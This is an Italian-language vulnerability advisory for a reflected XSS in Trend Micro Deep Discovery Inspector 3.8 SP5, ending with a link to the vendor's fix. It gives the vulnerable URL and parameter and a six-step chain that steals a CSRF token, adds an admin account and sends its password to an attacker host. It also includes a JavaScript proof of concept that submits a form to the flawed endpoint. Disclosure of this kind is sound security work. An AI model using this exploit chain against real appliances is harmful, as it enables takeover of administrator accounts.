
Ho trovato una vulnerabilità di XSS riflesso nell'interfaccia web di gestione di Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 Il percorso dello script vulnerabile è /php/detection_detail_filter.php. Questo script è accessibile solo da un utente autenticato, ma ciò non rende la vulnerabilità meno grave, considerando lo scenario di attacco riportato di seguito.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png conferma che il parametro ips[] è vulnerabile all'iniezione di codice HTML.
Questa vulnerabilità può essere utilizzata per bypassare la protezione CSRF, ottenere il token CSRF e condurre con successo un attacco CSRF. È possibile realizzare anche la completa compromissione dell'appliance Deep Discovery Inspector utilizzando il seguente scenario:
1. L'utente autenticato nell'interfaccia web DDI viene invogliato a visitare una pagina web malevola.
2. Uno script malevolo presente in questa pagina viene eseguito sfruttando la vulnerabilità XSS in /php/detection_detail_filter.php
3. Lo script ottiene il token CSRF tramite una richiesta PUT a /wsgi/csrf/get_token/
4. Quindi utilizza il token ottenuto dalla risposta alla richiesta precedente per aggiungere un account con privilegi di amministratore
5. La password per l'account aggiunto viene ottenuta dalla risposta alla richiesta precedente.
6. La password può essere trasferita all'host dell'attaccante tramite una richiesta HTTP
Screen2.png mostra l'attacco in azione.
Per riprodurre l'attacco, puoi utilizzare il seguente frammento di codice (la variabile ddi_ip deve essere modificata in base all'IP del tuo appliance DDI):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
Questo codice PoC deve essere posizionato sul server web dell'attaccante e un link a questo server deve essere aperto dall'utente (con permessi di amministratore) autenticato nell'interfaccia web DDI. L'utente può essere indotto a fare clic sul link tramite tecniche di social engineering.
Trend Micro ha fornito la seguente soluzione: https://success.trendmicro.com/solution/1121079